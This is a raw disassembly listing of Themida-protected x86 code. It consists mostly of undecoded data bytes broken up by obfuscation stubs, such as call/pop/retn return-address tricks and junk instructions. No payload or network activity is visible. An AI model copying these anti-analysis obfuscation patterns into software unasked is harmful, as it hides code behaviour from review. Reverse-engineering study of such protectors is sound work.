add ecx, [ebp+6132485h]
mov eax, eax
push 0
push ecx
call sub_5AC8AD
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5AC8AD proc near ; CODE XREF: Themida_:005AC8A5p
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 1Bh
inc ecx
push ecx
retn
sub_5AC8AD endp
; ---------------------------------------------------------------------------
db 0ABh, 0D9h, 6Fh
dd 4ADB3C08h, 85BD8B6Fh, 8A061313h, 0FC08BD3h, 0F86h, 0AE900h
dd 652A0000h, 4F930C5Bh, 0D54F7791h, 1625BD83h, 75000613h
dd 81BD8309h, 6132Ch, 53501974h, 0D0B8C08Bh, 89000007h
dd 130D7D85h, 7D9D8D06h, 0FF0615A9h, 83585BD3h, 132C81BDh
dd 17740006h, 0D0B85350h, 89000007h, 130D7D85h, 6C9D8D06h
dd 0FF0615A6h, 6A585BD3h, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 16042444h, 42000000h, 0DF56C352h, 8AA7B992h
dd 0BD8B3237h, 6130B41h, 0C8A0Fh, 7E90000h, 50000000h
dd 0BE409405h, 0C08BA561h, 0C6CF8B66h, 1311E185h, 6A5306h
dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h, 52420000h
dd 5B6F62C3h, 1E8C860Eh, 58B0F9Bh, 66000000h, 0D873EF81h
dd 395F9068h, 0B96699h, 6DB5FF33h, 80061311h, 858DE2E6h
dd 6133AADh, 1D41BD8Bh, 0D0FF0613h, 0E851006Ah, 3, 59C35920h
dd 4244C89h, 4244481h, 1Bh, 6FC35141h, 0AA450E38h, 89E6D034h
dd 131D8985h, 0B5BD8906h, 0C606130Eh, 1311E185h, 6A5706h
dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h, 56460000h
dd 196560C3h, 66862CEh, 50900452h, 68E0Fh, 8A0F0000h, 0
dd 6DB5FF5Ah, 31061311h, 132A818Dh, 0AD858D06h, 0E806133Ah
dd 0Eh, 695D5572h, 0DE1E1915h, 9A3DD322h, 880FB132h, 2
dd 66596160h, 0FFE96FBAh, 0B70FF5D0h, 0AD8589D6h, 6A061331h
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 15042444h
dd 43000000h, 0D4F6C353h, 11E185C6h, 89430613h, 1300A5BDh
dd 70286806h, 0EFB9BC90h, 0FF7C382Eh, 13116DB5h, 68F0F06h
dd 8B000000h, 13323D95h, 0AD858D06h, 8906133Ah, 1325B1BDh
dd 0BFD0FF06h, 1D1EDD91h, 12898589h, 0BF660613h, 85C628A6h
dd 61311E1h, 0FD95234Ch, 68061322h, 0D9DA1CE9h, 0E853006Ah
dd 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 46C35343h, 2DB52950h
dd 0FF061309h, 13116DB5h, 0DE906h, 202E0000h, 44463F1Ch
dd 681324Ah, 8D482D9Fh, 133AAD85h, 55006A06h, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1704h, 0C3554500h, 65D24C13h
dd 30A59589h, 0E8600613h, 11h, 8BB8806Dh, 0F71C98C7h, 0B120B9C1h
dd 3EFA4476h, 6AEE8124h, 5E55C69Bh, 28819D01h, 0FF610613h
dd 3BBF66D0h, 0ED85892Fh, 6A061311h, 3E85300h, 20000000h
dd 895BC35Bh, 8104245Ch, 1C042444h, 43000000h, 3FBC353h
dd 33920B34h, 0C6885CD3h, 1311E185h, 0E8B14606h, 0DE061468h
dd 57006ABAh, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1804h
dd 0C3574700h, 6259A6C1h, 11952BDBh, 0FF061328h, 13116DB5h
dd 858DFC06h, 6133AADh, 850FD0FFh, 6, 0B4DBD29h, 85890613h
dd 6131CF9h, 0E1E38160h, 0E97D320Fh, 9, 0FFDFD97Bh, 0ED5DB1E9h
dd 85C661D8h, 61311E1h, 49958947h, 68061301h, 8A0FB5E2h
dd 0BA8EB760h, 6499A355h, 6DB5FF61h, 6A061311h, 3E85200h
dd 20000000h, 895AC35Ah, 81042454h, 19042444h, 42000000h
dd 873AC352h, 0C0D31788h, 858DFB8Bh, 6133AADh, 6AD0FFF8h
dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 15042444h
dd 46000000h, 0A349C356h, 0BE9h, 37C39E00h, 0CF444D8h
dd 413722DAh, 6800Fh, 9D890000h, 6131B99h, 8A19503h, 85890613h
dd 6131315h, 398D3352h, 5F061332h, 11E185C6h, 6A470613h
dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1D042444h
dd 42000000h, 33FEC352h, 5F28CC7Fh, 0ED8D9FA6h, 0D0B5F368h
dd 0E5958B83h, 0FF061309h, 13116DB5h, 68A0F06h, 8B000000h
dd 13254995h, 0AD858D06h, 8106133Ah, 160068D7h, 89D0FF5Bh
dd 131621BDh, 15858906h, 0F06131Bh, 85C6D7B7h, 61311E1h
dd 19958B77h, 6606131Dh, 6885DDBFh, 0F397A8A3h, 2B21BD31h
dd 0B5FF0613h, 61310D1h, 0A35958Bh, 858D0613h, 6133AADh
dd 0BE9h, 0EFEB3600h, 5E8023BBh, 4709E2DEh, 1D7D8D29h
dd 0D0FF0613h, 8962EA80h, 13118585h, 0E185C606h, 47061311h
dd 16D8D0Bh, 0F88B0613h, 28FAF668h, 7D8D8B87h, 0FF061320h
dd 13116DB5h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h
dd 1604h, 0C3504000h, 8DA62361h, 133AAD85h, 0D7B70F06h
dd 8589D0FFh, 61304C9h, 30718589h, 0B70F0613h, 199589CBh
dd 0C6061332h, 1311E185h, 0FE94306h, 50000000h, 1452232Dh
dd 0B0A3795h, 87BEEE18h, 0FC6850CCh, 89BC8E6Eh, 1310A98Dh
dd 6DB5FF06h, 8B061311h, 1321618Dh, 0AD858D06h, 8906133Ah
dd 131E5595h, 66D0FF06h, 0D009DA81h, 1B9D8589h, 0B9600613h
dd 3AC48D9Ah, 61D2BF0Fh, 56FBA66h, 11E185C6h, 0E9450613h
dd 12h, 1F48A7B6h, 41868D2Eh, 12D2D3E9h, 380BEA25h, 6968043Ah
dd 808E7269h, 0B5FF61EDh, 613116Dh, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 15h, 0BDC35646h, 9E1EBF40h, 858D13C2h
dd 6133AADh, 180FB966h, 0E981D0FFh, 1CDE1532h, 1CBD8589h
dd 6A0613h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h
dd 56460000h, 96992BC3h, 8B32138Fh, 130E858Dh, 0E185C606h
dd 44061311h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
dd 14h, 29C35242h, 385CDA81h, 6468765Ah, 0FB8F2ECh, 0B5FFD3B7h
dd 613116Dh, 26D2BF66h, 3AAD858Dh, 6A0613h, 3E856h, 5E200000h
dd 74895EC3h, 44810424h, 150424h, 56460000h, 0FF8AD8C3h
dd 5BD03D0h, 89061313h, 130C5185h, 927EBF06h, 85C63461h
dd 61311E1h, 53006A43h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
dd 1A04h, 0C3534300h, 282323CCh, 0F1ECF5Ch, 0A768FABFh
dd 0E9C0764Ah, 7, 272C6AF5h, 66B7AC61h, 0FF92A0BAh, 13116DB5h
dd 71950B06h, 8D061320h, 133AAD85h, 21B50106h, 0FF061300h
dd 0E59589D0h, 89061321h, 13120985h, 53006A06h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1D04h, 0C3534300h, 83BCCFEAh
dd 29638B34h, 60532FCBh, 0BD89C28Bh, 6130FDDh, 0BD805961h
dd 615FEB3h, 0DD840F00h, 0E9000000h, 9, 58841389h, 90277518h
dd 95858DC8h, 500615FEh, 6A016AF8h, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 1C042444h, 47000000h, 0BC30C357h
dd 78557F12h, 8B1CC9AFh, 1313C9BDh, 0F8006A06h, 0FFFC006Ah
dd 13128995h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h
dd 1704h, 0C3504000h, 67F056A9h, 4880Fh, 0BF660000h, 8589B1B1h
dd 61313A9h, 0FF6AD08Bh, 0E851006Ah, 3, 59C35920h, 4244C89h
dd 4244481h, 1Dh, 16C35141h, 891E8A63h, 0C46ADDC5h, 0A9B5FF28h
dd 6A061313h, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 19042444h, 41000000h, 6D0BC351h, 1CC88515h, 0D3C1BF66h
dd 31AD95FFh, 95890613h, 6130B45h, 83F9C08Bh, 131625BDh
dd 9750006h, 2C81BD83h, 74000613h, 8B535019h, 7D1B8C0h
dd 85890000h, 6130D7Dh, 0A97D9D8Dh, 0D3FF0615h, 0BD83585Bh
dd 6132C81h, 50177400h, 7D1B853h, 85890000h, 6130D7Dh
dd 0A66C9D8Dh, 0D3FF0615h, 8589585Bh, 61323C1h, 8BFABF0Fh
dd 0BE9C0h, 35320000h, 0D0FB17E0h, 7A8F87C7h, 0E185C698h
dd 47061311h, 12E9h, 0B17CCD00h, 826CCF1Ah, 86CADA64h
dd 10FE4800h, 8B526D36h, 1311718Dh, 0F7C16806h, 9E993C8h
dd 13000000h, 8247F391h, 1BB3AC7Dh, 116DB5FFh, 6A0613h
dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h, 51410000h
dd 23B354C3h, 4349AFF8h, 0AD858DDBh, 0F06133Ah, 883h, 95095100h
dd 6133219h, 6AD0FF5Fh, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 1D042444h, 47000000h, 241DC357h, 0C25EDC97h
dd 5A457ED5h, 0D6858D50h, 89061602h, 13309985h, 9400C706h
dd 0F000000h, 77BAC9BFh, 5868FECBh, 0CA477BBFh, 0D6B58D2Dh
dd 6A061602h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch
dd 1D042444h, 45000000h, 5F34C355h, 382A06D2h, 9597E303h
dd 14919D89h, 0E8560613h, 11h, 91703273h, 0A2121192h, 0DDA5DD8Eh
dd 0A268488Ah, 38A0FBCh, 66000000h, 0FF5FF98Bh, 0DD8D0BD0h
dd 0BA061314h, 5FD576D6h, 2D6858Dh, 89500616h, 131FD19Dh
dd 78835906h, 850F0604h, 15h, 16B5958Bh
dd 85C70613h, 616036Ah, 1, 0F1C78166h, 31BD83F3h, 6130Ah
dd 38850Fh, 95890000h, 613306Dh, 36ABD83h, 0F000616h, 2585h
dd 0BAC18100h, 8326852Eh, 131129BDh, 840F0006h, 12h, 0C7FABF0Fh
dd 1307E585h, 6, 6EAEBA00h, 8C662D9Eh, 0F635B2DBh, 840F04C3h
dd 4B1h, 899B529h, 85C70613h, 613173Dh, 0
; ---------------------------------------------------------------------------
adc ecx, 315D9712h
cmp byte ptr [ebp+615FEC0h], 0
jnz loc_5AD2B9
mov [ebp+6131571h], eax
loc_5AD2B9: ; CODE XREF: Themida_:005AD2ADj
mov byte ptr [ebp+61311E1h], 47h
pusha
mov ch, 0CFh
add dx, 33CEh
popa
push 0E3E45B86h
push 0
push edx
call sub_5AD2D9
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5AD2D9 proc near ; CODE XREF: Themida_:005AD2D1p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 1Bh
inc edx
push edx
retn
sub_5AD2D9 endp
; ---------------------------------------------------------------------------
db 25h, 0F9h, 0A5h
dd 78B7871h, 6DB5FFC5h, 8A061311h, 0AD858DD7h, 0F06133Ah
dd 287h, 0FFC1B500h, 4D958BD0h, 6806130Ch, 104h, 13E9h
dd 567EF400h, 0A55A762Fh, 0D05BC954h, 15666A67h, 0E6ECE940h
dd 178D9D8Dh, 9D310613h, 6131631h, 38F0F53h, 0F000000h
dd 9D01D6BFh, 6133121h, 6660D0FFh, 0A471D281h, 0FE9h, 0A9C33800h
dd 7C3F52A4h, 9FBB0B8Bh, 30526748h, 8D858D61h, 0F061317h
dd 58Bh, 692AB900h, 29502FCAh, 13063595h, 72858D06h, 6A0615FEh
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 14042444h
dd 45000000h, 0E898C355h, 9, 9C4530B7h, 0FE6D2A5Dh, 39952363h
dd 5906130Ah, 68B0Fh, 8D0B0000h, 6132C49h, 0F5958950h
dd 6006131Ch, 0EE9h, 65BE5C00h, 0A41C3797h, 6760CE67h
dd 89A5E7BAh, 1330F185h, 858D6106h, 615F545h, 6A50D68Bh
dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1D042444h
dd 47000000h, 70B9C357h, 0AAAE259Eh, 995B00EFh, 66CE8B66h
dd 0FF5596B9h, 13118595h, 8D89F906h, 61314EDh, 530CC483h
dd 0A399D89h, 6A5F0613h, 806800h, 36A0000h, 6A006Ah, 68h
dd 45858D80h, 500615F5h, 1B9D95FFh, 85890613h, 615FE55h
dd 11E185C6h, 68470613h, 0C7B15E87h, 116DB5FFh, 858D0613h
dd 6133AADh, 6AD0FFh, 0FE55B5FFh, 0D0FF0615h, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 15h, 79C35646h, 1953162h
dd 9061310h, 130C3185h, 37D03D06h, 830F0000h, 28h, 34F239B9h
dd 55B5FF79h, 0F50615FEh, 120995FFh, 8D0B0613h, 6130C69h
dd 0B2E9h, 419D8900h, 0BF06130Ah, 5A6BA66Ah, 0FE55B5FFh
dd 0D78B0615h, 120995FFh, 30B50613h, 10E9006Ah, 12000000h
dd 4A6E2A64h, 5DCBC704h, 0A25769CFh, 6A30E161h, 68A0F00h
dd 89000000h, 130E298Dh, 8B006A06h, 0E9006AD7h, 0Ch, 4DE38159h
dd 0F030DC51h, 24DB26B1h, 6A006Ah, 8DCFC580h, 15FE5985h
dd 458D8B06h, 8B061330h, 130B6995h, 6A5006h, 3E855h, 5D200000h
dd 6C895DC3h, 44810424h, 1A0424h, 55450000h, 468533C3h
dd 0C03821E2h, 810FD38Bh, 6, 0D5A8EF81h, 95FF5CE3h, 6131B9Dh
dd 0FFFF883h, 0E985h, 8DD18B00h, 15B91285h, 5952B06h, 0FF061313h
dd 319D89D0h, 6A06130Dh, 5E900h, 3E0B0000h, 89D1B54Bh
dd 1322B98Dh, 8A006A06h, 75B589D1h, 6A061311h, 463ABA00h
dd 6A2FC5h, 6AC8B70Fh, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh
dd 24448104h, 1904h, 0C3564600h, 2997871Fh, 6A8B97h, 10E9h
dd 0FE0D8100h, 78E60903h, 0DC67D2A6h, 28BD378Eh, 59858D66h
dd 290615FEh, 131EDDBDh, 8A505006h, 95FF59CAh, 6131B9Dh
dd 6880Fh, 8D8B0000h, 61328DDh, 0FFFF883h, 4585h, 0D68B6600h
dd 0F861B58Dh, 860F0615h, 5, 0F0CFE8B9h, 4D858D31h, 0F0615A3h
dd 0D0FFCABFh, 7C58D89h, 6A0613h, 12D9958Bh, 0B5890613h
dd 6131BA1h, 1CBD95FFh, 820F0613h, 6, 0B414E181h, 8589058Ah
dd 615FE55h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
dd 14h, 69C35545h, 8DF9006Ah, 15FE4D85h, 659D0906h, 5006130Ah
dd 81F28052h, 0B9046A59h, 17DA9148h, 29C5858Dh, 0E3B50613h
dd 56006A50h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1C04h
dd 0C3564600h, 69F25C7Dh, 80163E5Ch, 79BD318Bh, 6A061319h
dd 1026BA00h, 6A21A1h, 6A77E580h, 53006A01h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1C04h, 0C3534300h, 0FC9DBE44h
dd 0C271AF50h, 55B5FF5Eh, 0B10615FEh, 5195FF86h, 6A06130Ch
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1A042444h
dd 45000000h, 15EDC355h, 535D8705h, 71E9F8B1h, 8900001Bh
dd 132EBD95h, 66C08B06h, 838CBDB9h, 131625BDh, 9750006h
dd 2C81BD83h, 74000613h, 8B535019h, 7D2B8C0h, 85890000h
dd 6130D7Dh, 0A97D9D8Dh, 0D3FF0615h, 0BD83585Bh, 6132C81h
dd 50177400h, 7D2B853h, 85890000h, 6130D7Dh, 0A66C9D8Dh
dd 0D3FF0615h, 8060585Bh, 0D78B85E9h, 0FC08B61h, 382h
dd 0D38B6600h, 173D85C7h, 10613h, 85090000h, 61330A1h
dd 0E4E7B868h, 0C9B5FFCEh, 8D061307h, 133AAD85h, 89D0FF06h
dd 1312FD85h, 0B1858D06h, 50061600h, 36E858Dh, 68500616h
dd 80000001h, 12FD95FFh, 0C00B0613h, 85C70A75h, 6130F0Dh
dd 1, 5DBD468h, 0C9B5FFC0h, 8D061307h, 133AAD85h, 89D0FF06h
dd 13119185h, 0FE858D06h, 500615F2h, 116DB5FFh, 95FF0613h
dd 6131315h, 0B74C00Bh, 858DD88Bh, 61602B1h, 8DD3FF50h
dd 1602B185h, 38836606h, 0C70A7509h, 13150585h, 106h, 7195FF00h
dd 25061330h, 0FFh, 7305F883h, 2D85C70Ah, 1061321h, 0B6000000h
dd 0D9958B61h, 8006130Ah, 15FEC0BDh, 840F0006h, 16h, 2860Fh
dd 0D38A0000h, 36ABD83h, 0F000616h, 0C84h, 1DE9F800h, 8B00001Ah
dd 131749BDh, 5BD8306h, 61315h, 9B850Fh, 8D8B0000h, 6130031h
dd 0FE8A858Dh, 0B9660615h, 0B9500669h, 63400F16h, 0BD8B016Ah
dd 6132F9Dh, 6A5FF852h, 0DE900h, 15B20000h, 7294FFF4h
dd 0C2063A82h, 6ADE17EDh, 0C7816600h, 0B589E9E3h, 61315E1h
dd 128995FFh, 0B5010613h, 6132509h, 0FEB48589h, 6A0615h
dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h, 53430000h
dd 0E2E4EC3h, 559D3360h, 5306131Dh, 615A5A57h, 0B70FFF6Ah
dd 0B4B5FFCAh, 0B20615FEh, 0AD95FFD2h, 60061331h, 1EE1B589h
dd 1CB70613h, 0C5858D61h, 570615F2h, 11E9h, 6190B600h
dd 43F29EC7h, 7E27A3FAh, 2E300A7h, 505A4333h, 62D28166h
dd 0ED95FF84h, 29061311h, 1319C99Dh, 81858906h, 8906132Fh
dd 15F34F85h, 0D7B70F06h, 7E9h, 9700DB00h, 45316028h, 0F2D2858Dh
dd 0CA800615h, 0E18D01B4h, 50061316h, 0A1BD8960h, 0E9061309h
dd 0Ah, 3146D29Fh, 0C5539173h, 0FF61C88Fh, 15F34FB5h, 0F5952306h
dd 8B061330h, 131B8D95h, 1595FF06h, 0E8061313h, 5, 69A561BEh
dd 8195010Dh, 5F061329h, 1B98589h, 0BD890613h, 6130A0Dh
dd 0F340858Dh, 6A0615h, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 170424h, 52420000h, 6DF99DC3h, 0D78B66CBh, 0FB8B6650h
dd 0F34FB5FFh, 6A0615h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 1A0424h, 55450000h, 0DCCDEDC3h, 817EF96Ch, 11499D89h
dd 95890613h, 6130B19h, 4CD8D29h, 95FF0613h, 6131315h
dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Dh, 0E5C35040h
dd 0E774666Bh, 746AAD0Fh, 85BF668Bh, 0E7D181D7h, 566B29FAh
dd 18A98D31h, 895F0613h, 15F36385h, 858DFC06h, 615F31Fh
dd 0BAF9DF81h, 12B52DCDh, 55006A50h, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1604h, 0C3554500h, 664C57C3h
dd 0A950C781h, 0F34FB5FFh, 6A0615h, 3E855h, 5D200000h
dd 6C895DC3h, 44810424h, 190424h, 55450000h, 4E9F11C3h
dd 0FF42D399h, 13131595h
dd 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1D04h
dd 0C3534300h, 1B8E6C9h, 122D1902h, 858994A6h, 615F35Bh
dd 3169BD09h, 858D0613h, 615F312h, 1398D29h, 80500613h
dd 0B5FF9AD5h, 615F34Fh, 0AE9h, 96783600h, 0A1A2A58h, 0FF94A210h
dd 13131595h, 0AFD98006h, 0F35F8589h, 95290615h, 6131259h
dd 0F32D858Dh, 0CE90615h, 2000000h, 0BC0A9E0Fh, 0A5F6020Ch
dd 50F3D1F8h, 14E9h, 4B6F9200h, 0E210CA74h, 0AF41D4BBh
dd 0BA9FDD58h, 1110EFh, 4FB5FF2Dh, 660615F3h, 2AB9F281h
dd 1595FFFCh, 66061313h, 898BE1BAh, 13013D85h, 9E806h
dd 79040000h, 97029FF5h, 894CF93Ah, 1331D98Dh, 66605A06h
dd 6012C181h, 34C19D01h, 8D610613h, 15F2E185h, 0D1958B06h
dd 50061325h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
dd 1Dh, 9DC35646h, 0F98C3707h, 0EE2D55Eh, 39D1812Fh, 0FF3BF3F4h
dd 15F34FB5h, 95FFFC06h, 6131315h, 8589CB8Bh, 615F353h
dd 1EE78166h, 0F0858DE4h, 0E80615F2h, 12h, 0EFEC40F2h
dd 96A35B72h, 0A0CAA421h, 0AB4E81AAh, 52533ABEh, 505F5F5Fh
dd 12F98D8Bh, 0B5FF0613h, 615F34Fh, 13E9h, 0CFDEF500h
dd 7ACE21E0h, 9DA59DD1h, 0CE3BAB11h, 7B4D3DECh, 131595FFh
dd 0BF0F0613h, 578589CBh, 810615F3h, 0DA569BD1h, 1046831h
dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h
dd 55450000h, 0E4DF58C3h, 8B163113h, 1323A18Dh, 0E7858D06h
dd 8B0615F3h, 13172DBDh, 198D0106h, 50061311h, 858DD78Bh
dd 615F4EBh, 1518529h, 0F8500613h, 1B1595FFh, 6A0613h
dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h, 55450000h
dd 5B5768C3h, 28C75B16h, 50989770h, 12E960h, 51350000h
dd 9496BC94h, 0F64BD5Bh, 0EEF72340h, 82819643h, 5A616160h
dd 850FC085h, 28h, 0E851006Ah, 3, 59C35920h, 4244C89h
dd 4244481h, 17h, 0FC35141h, 8BE76349h, 132161BDh, 0D2BF0F06h
dd 0FEC0BD80h, 0F000615h, 1D85h, 29958B00h, 0E9061319h
dd 1558h, 0D18D8B56h, 59061311h, 5E9h, 951B0300h, 0BD837FF4h
dd 6131505h, 6C850F00h, 0E9000000h, 13h, 0D8849313h, 0D9AD8CCBh
dd 903F96C9h, 0D9A02F70h, 839AFDC6h, 16036ABDh, 840F0006h
dd 87h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 14h
dd 83C35646h, 0AE8h, 0CEBD1500h, 9E9E7BEh, 0E890DE5Ch
dd 0Ah, 0FE07DEBDh, 6A7AF155h, 800F009Bh, 0
; ---------------------------------------------------------------------------
pop edi
pop edi
mov ecx, 220DB50h
lea eax, [ebp+615F384h]
push 0
push edx
call sub_5ADDF0
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5ADDF0 proc near ; CODE XREF: Themida_:005ADDE8p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 1Bh
inc edx
push edx
retn
sub_5ADDF0 endp
; ---------------------------------------------------------------------------
dd 0A30C0B7Eh, 1D2F6391h, 0E1EA8166h, 149AE944h, 8D290000h
dd 61301E5h, 15E9h, 8D7FB100h, 15F36F85h, 58B0F06h, 0B9000000h
dd 28DCD68h, 6A509EB6h, 3E85300h, 20000000h, 895BC35Bh
dd 8104245Ch, 18042444h, 43000000h, 7FD3C353h, 8DBA35ACh
dd 15F3E785h, 0B5896006h, 6131F75h, 8C0Fh, 50610000h, 0D2E78166h
dd 5BD83F0h, 61315h, 41840Fh, 6A0000h, 3E857h, 5F200000h
dd 7C895FC3h, 44810424h, 140424h, 57470000h, 15296C3h
dd 132B3585h, 858D5906h, 615F50Dh, 1DADBD8Bh, 958B0613h
dd 6132201h, 17E9h, 0BD9D8900h, 8D06132Eh, 15F4F685h, 5890F06h
dd 66000000h, 167DD781h, 0E9EC8A50h, 0Dh, 31CC96C4h, 0FFFCB219h
dd 847D6A2Ch, 45858D12h, 500615F5h, 0E855006Ah, 3, 5DC35D20h
dd 4246C89h, 4244481h, 17h, 85C35545h, 9CEA78Ch, 130A598Dh
dd 8595FF06h, 6A061311h, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 17042444h, 47000000h, 21ABC357h, 3BA9C27h
dd 8307AD29h, 8F0F10C4h, 6, 25DD9589h, 0C08B0613h, 0B35BD8Bh
dd 0BD830613h, 6131625h, 83097500h, 132C81BDh, 19740006h
dd 0C08B5350h, 7D3B8h, 7D858900h, 8D06130Dh, 15A97D9Dh
dd 5BD3FF06h, 81BD8358h, 6132Ch, 53501774h, 7D3B8h, 7D858900h
dd 8D06130Dh, 15A66C9Dh, 5BD3FF06h, 50006A58h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1D04h, 0C3504000h, 77EA9987h
dd 25E4D9DEh, 0BD29EECCh, 6131A99h, 0EE8h, 4C049900h, 0D2E2F1EDh
dd 50777C2Bh, 0FEE4810h, 580h, 0E141BA00h, 8B5952C7h, 52006AC0h
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1C04h, 0C3524200h
dd 1E7549A9h, 274B6002h, 6FBD8116h, 6F0615F3h, 0F616572h
dd 0A684h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
dd 1704h, 0C3534300h, 403BD501h, 0BC2E981h, 858D682Fh
dd 615F3E7h, 24858D50h, 500615F5h, 0F545858Dh, 0FF500615h
dd 13118595h, 0CC48306h, 11E185C6h, 68440613h, 96A3184Fh
dd 116DB5FFh, 858D0613h, 6133AADh, 0D88BD0FFh, 0F545858Dh
dd 0FF500615h, 6F858DD3h, 500615F3h, 0F3E7858Dh, 83500615h
dd 131505BDh, 8740006h, 0F50D858Dh, 6EB0615h, 0F4F6858Dh
dd 8D500615h, 15F54585h, 95FF5006h, 6131185h, 8A10C483h
dd 0C5BD89CCh, 0FF061320h, 13307195h, 50006A06h, 3E8h
dd 0C3582000h, 24448958h, 24448104h, 1C04h, 0C3504000h
dd 558F0858h, 0E1714CC8h, 0FF25F820h, 6A000000h, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 16042444h, 41000000h
dd 61E2C351h, 5F883A1h, 64830Fh, 11E80000h, 86000000h
dd 0E0235BF2h, 0FE8D1635h, 37B9FE83h, 0E2AD377Eh, 0A5E28166h
dd 85C75F39h, 613212Dh, 1, 13E9h, 3D36E000h, 0CCBE655Fh
dd 0BAB54AD9h, 5EA2C24Dh, 9ADFC48h, 0F3A3858Dh, 0C9800615h
dd 74E9F525h, 0E8000000h, 0Bh, 0E75F6FE6h, 3D706EF0h, 89372EA9h
dd 1316BD85h, 0BD835A06h, 6131505h, 28840F00h, 60000000h
dd 1F4D958Bh, 0F2810613h, 6D672087h, 9AEABF61h, 858D4324h
dd 615F3CEh, 0F4D3B966h, 2EE9h, 0D8D8B00h, 8D061315h, 15F3B085h
dd 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1404h
dd 0C3554500h, 518D8B2Fh, 8906132Ah, 15F3E385h, 0FFB8B06h
dd 280h, 83EEB500h, 131505BDh, 850F0006h, 1Fh, 1FB5958Bh
dd 0D2810613h, 1D07B092h, 36ABD83h, 0F000616h, 1684h, 0A5BD2300h
dd 0E9061310h, 1094h, 6DC068BFh, 6D9D8913h, 0E9061321h
dd 493h, 8BC88B66h, 50006AC0h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1D04h, 0C3504000h, 0DF2D146Ah, 45BF53E3h
dd 95895781h, 6130B05h, 1625BD83h, 75000613h, 81BD8309h
dd 6132Ch, 53501974h, 0D4B8C08Bh, 89000007h, 130D7D85h
dd 7D9D8D06h, 0FF0615A9h, 83585BD3h, 132C81BDh, 17740006h
dd 0D4B85350h, 89000007h, 130D7D85h, 6C9D8D06h, 0FF0615A6h
dd 66585BD3h, 0B9F006BFh, 5CE31E5Dh, 6AC08Bh, 3E852h, 5A200000h
dd 54895AC3h, 44810424h, 1D0424h, 52420000h, 0A40981C3h
dd 4E856B32h, 895F4867h, 1301FDB5h, 0E9816606h, 3F686973h
dd 80000F00h, 6A0DD5h, 0E856006Ah, 3, 5EC35E20h, 4247489h
dd 4244481h, 19h, 9AC35646h, 0CB4AEF94h, 28D0F96h, 0B1000000h
dd 3006A8Dh, 1323218Dh, 0B995FF06h, 8B061301h, 13195995h
dd 0FC08506h, 85h, 67858900h, 0E80615F3h, 7, 7FB625F6h
dd 51FD6769h, 6A595FF5h, 47D78100h, 6A054D97h, 0DDBD8900h
dd 6A061304h, 6AF500h, 1331BD8Bh, 6A0613h, 0AE9h, 234A3700h
dd 91BC8581h, 8DD0E5C6h, 15F54585h, 0E18D8B06h, 50061316h
dd 68A0Fh, 0BD8B0000h, 6130709h, 0BD0B016Ah, 6131E55h
dd 6A016Ah, 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h
dd 56460000h, 877C5BC3h, 5E82Ah, 5EC40000h, 8931D8BAh
dd 13128D9Dh, 16A5F06h, 0E852006Ah, 3, 5AC35A20h, 4245489h
dd 4244481h, 14h, 3DC35242h, 0F01FF68h, 56006A00h, 3E8h
dd 0C35E2000h, 2474895Eh, 24448104h, 1804h, 0C3564600h
dd 0D56E0F52h, 19F28072h, 1B99BD8Bh, 0BD830613h, 6131505h
dd 25840F00h, 0F9000000h, 0F3C4858Dh, 0EE90615h, 40000000h
dd 0B4E9F88Dh, 5BF51D38h, 2F2A877Ch, 0EE9FAh, 958B0000h
